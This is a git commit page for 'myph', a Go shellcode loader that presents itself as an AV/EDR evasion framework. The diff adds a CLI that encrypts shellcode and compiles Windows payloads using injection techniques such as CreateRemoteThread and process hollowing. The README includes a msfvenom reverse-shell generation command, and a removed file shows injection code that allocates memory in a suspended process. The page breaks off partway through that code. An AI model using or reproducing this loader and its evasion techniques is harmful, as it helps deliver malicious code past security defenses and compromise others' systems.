myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit c4af422d5121fd69ba5b1191c49937b6b8cdbc08
parent 545b6f8d848f20b8f2547b2508ed8d8b9c7e66d3
Author: djnn <[email protected]>
Date: Sat, 29 Jul 2023 23:09:48 +0900

2.0 release

Diffstat:
A.dockerignore | 14++++++++++++++
M.gitignore | 2++
MDockerfile | 14+++++++++-----
MMakefile | 52++++++++++++++++++++++++++++++++++++++++++++--------
MREADME.md | 80++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
ATODO.txt | 33+++++++++++++++++++++++++++++++++
Mcli/defaults.go | 13++++++++-----
Mcli/parser.go | 213+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------------
Mcli/types.go | 85++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------
Mgo.mod | 10+++++++---
Mgo.sum | 12++++++++----
Dloader/aes.go | 33---------------------------------
Dloader/compile.go | 26--------------------------
Dloader/types.go | 15---------------
Dloader/utils.go | 44--------------------------------------------
Dloader/windows.go | 198-------------------------------------------------------------------------------
Aloaders/createRemoteThread.go | 101+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aloaders/createThread.go | 65+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aloaders/processHollowing.go | 182+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aloaders/syscall.go | 43+++++++++++++++++++++++++++++++++++++++++++
Aloaders/utils.go | 21+++++++++++++++++++++
Atools/crypting.go | 246+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Atools/encodings.go | 72++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Atools/utils.go | 169+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

24 files changed, 1359 insertions(+), 384 deletions(-)

diff --git a/.dockerignore b/.dockerignore
@@ -0,0 +1,14 @@
+.git
+
+*.raw
+*.bin
+myph
+
+README.md
+
+Makefile
+Dockerfile
+
+.goreleaser.yml
+.dockerignore
+.gitignore
diff --git a/.gitignore b/.gitignore
@@ -3,12 +3,14 @@
 # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
 #
 # Binaries for programs and plugins
+*.bin
 *.exe
 *.exe~
 *.dll
 *.so
 *.dylib
 myph
+myph-out/
 
 # Test binary, built with `go test -c`
 *.test
diff --git a/Dockerfile b/Dockerfile
@@ -1,4 +1,4 @@
-FROM golang:1.19-alpine as builder
+FROM golang:1.20-alpine as builder
 
 WORKDIR /root
 RUN apk update --no-cache && \
@@ -11,12 +11,16 @@ COPY go.mod .
 RUN go mod download
 
 COPY . .
-RUN go build -o myph main.go
+RUN go build -o myph .
 
-FROM alpine:3.16.2
 
-WORKDIR /app
+FROM alpine:3.18.2
+LABEL maintainer="djnn <[email protected]>"
+
+RUN adduser -D djnn
+USER djnn
+WORKDIR /home/djnn
 
 COPY --from=builder /root/myph .
 
-ENTRYPOINT [ "/app/myph" ]
+ENTRYPOINT [ "/home/djnn/myph" ]
diff --git a/Makefile b/Makefile
@@ -1,22 +1,58 @@
-TARGET 		= myph
-SRC 		= main.go
+# Build configuration
+# -------------------
+
+APP_NAME = myph
+APP_VERSION = 2.0.0
+GIT_REVISION = `git rev-parse HEAD`
+DOCKER_IMAGE_TAG ?= $(APP_VERSION)
+DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG)
+
+# Introspection targets
+# ---------------------
 
 .PHONY: all
 all: compile
 
+
 .PHONY: help
-help:
-	@echo "\033[34mgork targets:\033[0m"
+help: header targets
+
+.PHONY: header
+header:
+	@echo "\033[34mEnvironment\033[0m"
+	@echo "\033[34m---------------------------------------------------------------\033[0m"
+	@printf "\033[33m%-23s\033[0m" "APP_NAME"
+	@printf "\033[35m%s\033[0m" $(APP_NAME)
+	@echo ""
+	@printf "\033[33m%-23s\033[0m" "APP_VERSION"
+	@printf "\033[35m%s\033[0m" $(APP_VERSION)
+	@echo ""
+	@printf "\033[33m%-23s\033[0m" "GIT_REVISION"
+	@printf "\033[35m%s\033[0m" $(GIT_REVISION)
+	@echo ""
+	@printf "\033[33m%-23s\033[0m" "DOCKER_IMAGE_TAG"
+	@printf "\033[35m%s\033[0m" $(DOCKER_IMAGE_TAG)
+	@echo ""
+	@printf "\033[33m%-23s\033[0m" "DOCKER_LOCAL_IMAGE"
+	@printf "\033[35m%s\033[0m" $(DOCKER_LOCAL_IMAGE)
+	@echo "\n"
+
+
+.PHONY: targets
+targets:
+	@echo "\033[34mmyph targets:\033[0m"
 	@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
 
+
 .PHONY: compile
 compile: ## compile the project
-	@go build -o $(TARGET) $(SRC)
-	.
+	@go build -o $(APP_NAME) .
+	@printf "[ *** successfully built %s version %s *** ]\n" $(APP_NAME) $(APP_VERSION)
+
 .PHONY: clean
 clean: ## clean up the project directory
-	@rm -f $(TARGET)
+	@rm -vf $(APP_NAME)
 
 .PHONY: docker
 docker: ## build a local docker image
-	@docker build . -t $(TARGET):latest
+	@docker build . -t $(APP_NAME):latest -t $(APP_NAME):$(APP_VERSION)
diff --git a/README.md b/README.md
@@ -12,16 +12,86 @@ for general information and testing. The tool and this repository are carefully 
 However, the developers cannot be held liable for for any damage, direct or indirect, of whatever nature as a result of
 or related to the access to or use of the software.
 
-## Usage
+## How to use the software ?
 
-This tool uses the CRT method. If you don't know what that is, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
+> Please note this project is under development & subject to changes.
+> Breaking changes can be introduced from release to release.
+
+### Compiling or Installing the project
+
+You can easily compile like so:
+```bash
+# if you have make installed
+make  # you can also use `make help` to check recipes
+
+# if you don't
+go build -o myph .
+```
+
+> You can also grab the latest release from [here](https://github.com/CMEPW/myph/releases/)
+
+Finally, you can install from the [golang package repository](https://pkg.go.dev/github.com/CMEPW/myph) like so:
+```bash
+# /!\ lowercase is important /!\
+go install github.com/cmepw/myph@latest
+```
+
+### Usage
+
+```bash
+Usage:
+  myph [flags]
+
+Flags:
+  -e, --encryption encKind   encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
+  -h, --help                 help for myph
+  -k, --key string           encryption key, auto-generated if empty. (if used by --encryption)
+  -f, --out string           output name (default "payload.exe")
+  -p, --process string       target process to inject shellcode to (default "cmd.exe")
+  -s, --shellcode string     shellcode path (default "msf.raw")
+      --sleep-time uint      sleep time in seconds before executing loader (default: 0)
+  -t, --technique string     shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall) (default "CRT")
+  -v, --version              version for myph
+```
+
+#### Methods
+
+This tool supports few methods for now, but aims to add more as time goes on:
+- CreateThread
+- CreateRemoteThread
+- Syscall
+- Process hollowing
+
+If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
+
+
+#### Example
 
 Generate a payload like so:
 
 ```bash
 # generate your payload
-msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=80 -f raw -o msf.raw
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o msf.raw
+
+# run myph (--shellcode is not mandatory here because we use the default value)
+./myph --shellcode msf.raw --out something.exe
+
+# you should find your payload here
+file ./something.exe
+```
+
+#### Using docker
+
+```bash
+# using makefile
+make docker
 
-# run myph
-./myph --shellcode msf.raw --outfile exploit.exe
+# going through dockerfile directly
+docker build . -t myph:latest
 ```
+
+### Contributing
+
+Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~
+
+A guide on how to use the tool is in the works, please let us know if you're interested in helping out.
diff --git a/TODO.txt b/TODO.txt
@@ -0,0 +1,33 @@
+#############################
+####### ROADMAP 2.1.0 #######
+#############################
+
+Templates:
+    - CreateRemoteThreadEx
+    - CreateFiber
+    - EtwpCreateEtwThread
+
+Misc:
+    - support for loading modules from PEB
+    - Research indirect syscalls
+    - Refactoring CLI options to interfaces
+    - Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
+
+Commands:
+    - Add support for GoVersionInfo
+
+
+#############################
+####### ROADMAP 2.2.0 #######
+#############################
+
+Commands:
+    - Add support for signing binary
+
+Sleep / jitter:
+    - Ekko
+
+Misc:
+    - indirect syscalls
+    - support for dameonizing ?
+    - introduce ppid spoofing ?
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -7,12 +7,15 @@ import (
 // Get default value for Options struct
 func GetDefaultCLIOptions() Options {
 	opts := Options{
-		ShellcodePath: "",
-		AesKey:        RandBytes(32),
-		Outfile:       "myph-out.exe",
+		ShellcodePath: "msf.raw",
+		OutName:       "payload.exe",
 		OS:            "windows",
-		arch:          "amd64",
-		Target:        "explorer.exe",
+		Arch:          "amd64",
+		Target:        "cmd.exe",
+		Encryption:    EncKindAES,
+		Key:           "",
+		Technique:     "CRT",
+		SleepTime:     0,
 	}
 
 	return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -2,71 +2,222 @@ package cli
 
 import (
 	"fmt"
-	"github.com/cmepw/myph/loader"
-	"github.com/spf13/cobra"
 	"os"
+	"os/exec"
+
+	"github.com/cmepw/myph/loaders"
+	"github.com/cmepw/myph/tools"
+	"github.com/spf13/cobra"
 )
 
+const MYPH_TMP_DIR = "/tmp/myph-out"
+const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload.exe"
+
+const ASCII_ART = `
+              ...                                        -==[ M Y P H ]==-
+             ;::::;
+           ;::::; :;                                    In loving memory of
+         ;:::::'   :;                               Wassyl Iaroslavovytch Slipak
+        ;:::::;     ;.
+       ,:::::'       ;           OOO                       (1974 - 2016)
+       ::::::;       ;          OOOOO
+       ;:::::;       ;         OOOOOOOO
+      ,;::::::;     ;'         / OOOOOOO
+    ;::::::::: . ,,,;.        /  / DOOOOOO
+  .';:::::::::::::::::;,     /  /     DOOOO
+ ,::::::;::::::;;;;::::;,   /  /        DOOO        AV / EDR evasion framework
+; :::::: '::::::;;;::::: ,#/  /          DOOO           to pop shells and
+: ::::::: ;::::::;;::: ;::#  /            DOOO        make the blue team cry
+:: ::::::: ;:::::::: ;::::# /              DOO
+ : ::::::: ;:::::: ;::::::#/               DOO
+ ::: ::::::: ;; ;:::::::::##                OO       written with <3 by djnn
+ :::: ::::::: ;::::::::;:::#                OO                ------
+ ::::: ::::::::::::;' :;::#                O             https://djnn.sh
+   ::::: ::::::::;  /  /  :#
+   :::::: :::::;   /  /    #
+
+
+    `
+
 func GetParser(opts *Options) *cobra.Command {
-	version := "0.0.1"
+
+	version := "2.0.0"
 	var cmd = &cobra.Command{
 		Use:                "myph",
 		Version:            version,
 		DisableSuggestions: true,
-		Short:              "AV bypass shellcode creation framework",
-		Long:               `CLI to prepare your shellcode and do AV/EDR bypass`,
+		Short:              "AV/EDR evasion framework",
+		Long:               ASCII_ART,
 		Run: func(cmd *cobra.Command, args []string) {
 
-			if opts.ShellcodePath == "" {
-				fmt.Println("[!] Please specify your shellcode's path with --shellcode")
+			/* obligatory skid ascii art */
+			fmt.Printf("%s\n\n", ASCII_ART)
+
+			/* later, we will call "go build" on a golang project, so we need to set up the project tree */
+			err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR)
+			if err != nil {
+				fmt.Printf("[!] Error generating project root: %s\n", err)
 				os.Exit(1)
 			}
 
-			plaintext_payload, err := loader.ReadFile(opts.ShellcodePath)
+			/* reading the shellcode as a series of bytes */
+			shellcode, err := tools.ReadFile(opts.ShellcodePath)
 			if err != nil {
-				fmt.Printf("[!] Read shellcode error: %s\n", err.Error())
+				fmt.Printf("[!] Error reading shellcode file: %s\n", err.Error())
 				os.Exit(1)
 			}
 
-			fmt.Println("[+] Successfully read shellcode")
-			payload, err := loader.Encrypt(opts.AesKey, plaintext_payload)
+			/* i got 99 problems but generating a random key aint one */
+			if opts.Key == "" {
+				opts.Key = tools.RandomString(32)
+			}
+
+			fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key)
+
+			/* encoding defines the way the series of bytes will be written into the template */
+			encType := tools.SelectRandomEncodingType()
+
+			fmt.Printf("\tEncoding into template with [%s]\n", encType.String())
+
+			/*
+			   depending on encryption type, we do the following:
+
+			   - encrypt shellcode with key
+			   - write both encrypted & key to file
+			   - write to encrypt.go
+			   - write to go.mod the required dependencies
+			*/
+
+			var encrypted = []byte{}
+			var template = ""
+
+			switch opts.Encryption {
+			case EncKindAES:
+				encrypted, err = tools.EncryptAES(shellcode, []byte(opts.Key))
+				if err != nil {
+					fmt.Println("[!] Could not encrypt with AES")
+					panic(err)
+				}
+				template = tools.GetAESTemplate()
+
+			case EncKindXOR:
+				encrypted, err = tools.EncryptXOR(shellcode, []byte(opts.Key))
+				if err != nil {
+					fmt.Println("[!] Could not encrypt with XOR")
+					panic(err)
+				}
+				template = tools.GetXORTemplate()
+
+			case EncKindC20:
+				encrypted, err = tools.EncryptChacha20(shellcode, []byte(opts.Key))
+				if err != nil {
+					fmt.Println("[!] Could not encrypt with ChaCha20")
+					panic(err)
+				}
+
+				fmt.Println("\n...downloading necessary library...")
+				fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
+
+				/* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */
+				execCmd := exec.Command("go", "get", "golang.org/x/crypto/chacha20poly1305")
+				execCmd.Dir = MYPH_TMP_DIR
+
+				_, _ = execCmd.Output()
+				template = tools.GetChacha20Template()
+
+			case EncKindBLF:
+				encrypted, err = tools.EncryptBlowfish(shellcode, []byte(opts.Key))
+				if err != nil {
+					fmt.Println("[!] Could not encrypt with Blowfish")
+					panic(err)
+				}
+
+				fmt.Println("\n...downloading necessary library...")
+				fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
+
+				/* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */
+				execCmd := exec.Command("go", "get", "golang.org/x/crypto/blowfish")
+				execCmd.Dir = MYPH_TMP_DIR
+
+				_, _ = execCmd.Output()
+				template = tools.GetBlowfishTemplate()
+			}
+
+			/* write decryption routine template */
+			err = tools.WriteToFile(MYPH_TMP_DIR, "encrypt.go", template)
 			if err != nil {
-				fmt.Println(err.Error())
-				os.Exit(1)
+				panic(err)
+			}
+
+			/* write main execution template */
+			encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
+			encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
+			err = tools.WriteToFile(
+				MYPH_TMP_DIR,
+				"main.go",
+				tools.GetMainTemplate(
+					encType.String(),
+					encodedKey,
+					encodedShellcode,
+					opts.SleepTime,
+				),
+			)
+			if err != nil {
+				panic(err)
 			}
 
 			os.Setenv("GOOS", opts.OS)
-			os.Setenv("GOARCH", opts.arch)
-			s := loader.Shellcode{
-				Payload:  payload,
-				Filename: opts.Outfile,
-				AesKey:   []byte(opts.AesKey),
-				Target:   opts.Target,
+			os.Setenv("GOARCH", opts.Arch)
+
+			templateFunc := loaders.SelectTemplate(opts.Technique)
+			if templateFunc == nil {
+				fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
+				os.Exit(1)
 			}
 
-			fmt.Println("[+] Encrypted shellcode with AES key")
-			toCompile := loader.LoadWindowsTemplate(s)
-			err = loader.WriteToTempfile(toCompile)
+			err = tools.WriteToFile(MYPH_TMP_DIR, "exec.go", templateFunc(opts.Target))
 			if err != nil {
-				fmt.Printf("Write error: %s\n", err.Error())
+				panic(err)
+			}
+
+			fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique)
+			execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
+			execCmd.Dir = MYPH_TMP_DIR
+
+			_, stderr := execCmd.Output()
+
+			if stderr != nil {
+				fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
+				fmt.Printf(
+					"\nYou may try to run the following command in %s to find out what happend:\n\n GOOS=%s GOARCH=%s %s\n\n",
+					MYPH_TMP_DIR,
+					opts.OS,
+					opts.Arch,
+					"go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe",
+				)
+
+				fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3")
 				os.Exit(1)
 			}
 
-			fmt.Println("[+] loaded Windows template")
+			tools.MoveFile(MYPH_TMP_WITH_PAYLOAD, opts.OutName)
+			os.RemoveAll(MYPH_TMP_DIR)
 
-			/* run compilation */
-			loader.Compile(s)
+			fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName)
 		},
 	}
 
 	defaults := GetDefaultCLIOptions()
 
-	cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "f", defaults.Outfile, "output filepath")
+	cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
 	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
-	cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")
-	cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
-	cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
-	cmd.PersistentFlags().StringVarP(&opts.Target, "target-process", "t", defaults.Target, "target for process injection")
+	cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
+	cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
+
+	cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
+	cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+
+	cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
 
 	return cmd
 }
diff --git a/cli/types.go b/cli/types.go
@@ -1,22 +1,93 @@
 package cli
 
+import "errors"
+
+// encryption kind (used for CLI)
+type encKind string
+
+// shellcode-loading technique kind (used for CLI)
+type technique string
+
+const (
+	EncKindAES encKind = "AES"
+	EncKindXOR encKind = "XOR"
+	EncKindBLF encKind = "blowfish"
+	EncKindC20 encKind = "chacha20"
+
+	CRT              technique = "CRT"
+	SYSCALL          technique = "Syscall"
+	CreateThread     technique = "CreateThread"
+	ProcessHollowing technique = "ProcessHollowing"
+)
+
+// String is used both by fmt.Print and by Cobra in help text
+func (e *encKind) String() string {
+	return string(*e)
+}
+
+// Set must have pointer receiver so it doesn't change the value of a copy
+func (e *encKind) Set(v string) error {
+	switch v {
+	case "AES", "XOR", "blowfish", "chacha20":
+		*e = encKind(v)
+		return nil
+	default:
+		return errors.New("must be one of \"chacha20\", \"AES\", \"blowfish\" or \"XOR\"\n\n")
+	}
+}
+
+// Type is only used in help text
+func (e *encKind) Type() string {
+	return "encKind"
+}
+
+// String is used both by fmt.Print and by Cobra in help text
+func (e *technique) String() string {
+	return string(*e)
+}
+
+// Set must have pointer receiver so it doesn't change the value of a copy
+func (e *technique) Set(v string) error {
+	switch v {
+	case "CreateThread", "CRT", "ProcessHollowing", "Syscall":
+		*e = technique(v)
+		return nil
+	default:
+		return errors.New("must be one of \"CRT\", \"Syscall\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+	}
+}
+
+// Type is only used in help text
+func (e *technique) Type() string {
+	return "technique"
+}
+
 type Options struct {
 
+	// Shellcode encryption method
+	Encryption encKind
+
+	// Encryption key (if needed)
+	Key string
+
 	// Shellcode path
 	ShellcodePath string
 
-	// Outfile path
-	Outfile string
-
-	// AES shellcode encryption secret
-	AesKey []byte
+	// OutName path
+	OutName string
 
 	// os compilation target
 	OS string
 
-	// arch compilation target
-	arch string
+	// Arch compilation target
+	Arch string
 
 	// target process name to inject
 	Target string
+
+	// Shellcode loading method
+	Technique string
+
+	// Sleep time before running execution
+	SleepTime uint
 }
diff --git a/go.mod b/go.mod
@@ -1,10 +1,14 @@
 module github.com/cmepw/myph
 
-go 1.19
+go 1.20
 
-require github.com/spf13/cobra v1.6.1
+require (
+	github.com/spf13/cobra v1.7.0
+	golang.org/x/crypto v0.11.0
+)
 
 require (
-	github.com/inconshreveable/mousetrap v1.0.1 // indirect
+	github.com/inconshreveable/mousetrap v1.1.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
+	golang.org/x/sys v0.10.0 // indirect
 )
diff --git a/go.sum b/go.sum
@@ -1,10 +1,14 @@
 github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
-github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
-github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
+github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
 github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
-github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
-github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
+github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
+github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
 github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
 github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
+golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
+golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
+golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loader/aes.go b/loader/aes.go
@@ -1,33 +0,0 @@
-package loader
-
-import (
-	"crypto/aes"
-	"fmt"
-
-	"crypto/cipher"
-	"crypto/rand"
-	"io"
-)
-
-func ToString(payload []byte) string {
-	return fmt.Sprint([]byte(payload))
-}
-
-func Encrypt(key []byte, plaintext []byte) ([]byte, error) {
-	c, err := aes.NewCipher(key)
-	if err != nil {
-		return nil, err
-	}
-
-	gcm, err := cipher.NewGCM(c)
-	if err != nil {
-		return nil, err
-	}
-
-	nonce := make([]byte, gcm.NonceSize())
-	if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
-		return nil, err
-	}
-
-	return gcm.Seal(nonce, nonce, plaintext, nil), nil
-}
diff --git a/loader/compile.go b/loader/compile.go
@@ -1,26 +0,0 @@
-package loader
-
-import (
-	"fmt"
-	"os"
-	"os/exec"
-)
-
-func Compile(sc Shellcode) {
-	err := exec.Command(
-		"go",
-		"build",
-		"-ldflags",
-		"-s -w -H=windowsgui",
-		"-o",
-		sc.Filename,
-		"tmp.go",
-	).Run()
-	if err != nil {
-		println("[!] Compile error: " + err.Error())
-		os.Exit(1)
-	}
-	fmt.Println("[+] Successfully compiled shellcode")
-	os.Remove("tmp.go")
-
-}
diff --git a/loader/types.go b/loader/types.go
@@ -1,15 +0,0 @@
-package loader
-
-type Shellcode struct {
-	// payload in bytes
-	Payload []byte
-
-	// output filename
-	Filename string
-
-	// AES key used for encryption & decrpytion
-	AesKey []byte
-
-	// target process name to inject
-	Target string
-}
diff --git a/loader/utils.go b/loader/utils.go
@@ -1,44 +0,0 @@
-package loader
-
-import (
-	"bufio"
-	"bytes"
-	"io"
-	"log"
-	"os"
-)
-
-func ReadFile(filepath string) ([]byte, error) {
-
-	buf := bytes.NewBuffer(nil)
-	f, err := os.Open(filepath)
-	if err != nil {
-		return []byte{}, err
-	}
-
-	io.Copy(buf, f)
-	f.Close()
-
-	return buf.Bytes(), nil
-}
-
-func WriteToTempfile(payload string) error {
-	// create file
-	f, err := os.Create("tmp.go")
-	if err != nil {
-		log.Fatal(err)
-	}
-	defer f.Close()
-
-	buffer := bufio.NewWriter(f)
-	_, err = buffer.WriteString(payload + "\n")
-	if err != nil {
-		log.Fatal(err)
-	}
-
-	// flush buffered data to the file
-	if err := buffer.Flush(); err != nil {
-		log.Fatal(err)
-	}
-	return nil
-}
diff --git a/loader/windows.go b/loader/windows.go
@@ -1,198 +0,0 @@
-package loader
-
-import (
-	"fmt"
-)
-
-func LoadWindowsTemplate(s Shellcode) string {
-
-	hexShellcode := ToString(s.Payload)
-	hexKey := ToString(s.AesKey)
-	hexTarget := ToString([]byte(s.Target))
-
-	return fmt.Sprintf(`
-package main
-
-import (
-        "crypto/aes"
-        "os"
-        "syscall"
-        "unsafe"
-        "strings"
-        "strconv"
-        "crypto/cipher"
-        "errors"
-)
-
-
-const (
-    MEM_COMMIT                = 0x1000
-    MEM_RESERVE               = 0x2000
-    PAGE_READWRITE            = 0x4
-    PAGE_EXECUTE_READ         = 0x20
-    PAGE_EXECUTE_READWRITE    = 0x40
-    PROCESS_CREATE_THREAD     = 0x0002
-    PROCESS_QUERY_INFORMATION = 0x0400
-    PROCESS_VM_OPERATION      = 0x0008
-    PROCESS_VM_WRITE          = 0x0020
-    PROCESS_VM_READ           = 0x0010
-    CREATE_SUSPENDED          = 0x4
-    CREATE_NO_WINDOW          = 0x8000000
-)
-
-var (
-    kernel32            = syscall.MustLoadDLL("kernel32.dll")
-    ntdll               = syscall.MustLoadDLL("ntdll.dll")
-
-    RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
-
-    VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
-    VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
-    VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
-    WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
-    OpenProcess         = kernel32.MustFindProc("OpenProcess")
-    CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
-    closeHandle         = kernel32.MustFindProc("CloseHandle")
-)
-
-
-func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
-    c, err := aes.NewCipher(key)
-    if err != nil {
-        return nil, err
-    }
-
-    gcm, err := cipher.NewGCM(c)
-    if err != nil {
-        return nil, err
-    }
-
-    nonceSize := gcm.NonceSize()
-    if len(ciphertext) < nonceSize {
-        return nil, errors.New("ciphertext too short")
-    }
-
-    nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
-    return gcm.Open(nil, nonce, ciphertext, nil)
-}
-
-
-func StringBytesParseString(byteString string) (string, error) {
-    byteString = strings.TrimSuffix(byteString, "]")
-    byteString = strings.TrimLeft(byteString, "[")
-    sByteString := strings.Split(byteString, " ")
-    var res []byte
-    for _, s := range sByteString {
-        i, err := strconv.ParseUint(s, 10, 64)
-        if err != nil {
-            return "", err
-        }
-        res = append(res, byte(i))
-    }
-
-    return string(res), nil
-}
-
-func loadProcess(target string) *syscall.ProcessInformation {
-    var si syscall.StartupInfo
-	var pi syscall.ProcessInformation
-
-	commandLine, err := syscall.UTF16PtrFromString(target)
-
-	if err != nil {
-		panic(err)
-	}
-
-    err = syscall.CreateProcess(
-		nil,
-		commandLine,
-		nil,
-		nil,
-		false,
-		CREATE_SUSPENDED | CREATE_NO_WINDOW,
-		nil,
-		nil,
-		&si,
-		&pi)
-
-	if err != nil {
-		panic(err)
-	}
-
-	return &pi
-}
-
-func main() {
-
-    /* decode values from encoded bytes */
-    key, err := StringBytesParseString("%s"); if err != nil {
-        os.Exit(1)
-    }
-
-    bytesPayload, err := StringBytesParseString("%s"); if err != nil {
-        os.Exit(1)
-    }
-
-    target, err := StringBytesParseString("%s"); if err != nil {
-        os.Exit(1)
-    }
-
-    /* decrypt shellcode using AES */
-    shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
-        os.Exit(1)
-    }
-
-    /* spawn target process */
-    process := loadProcess(target)
-    oldProtectCfg := PAGE_READWRITE
-
-     /* allocating the appropriate amount of memory */
-    baseAddr, _, err := VirtualAllocEx.Call(
-        uintptr(process.Process),
-        0,
-        uintptr(len(shellcode)),
-        MEM_COMMIT | MEM_RESERVE,
-        PAGE_READWRITE,
-    )
-        if err.Error() != "The operation completed successfully." {
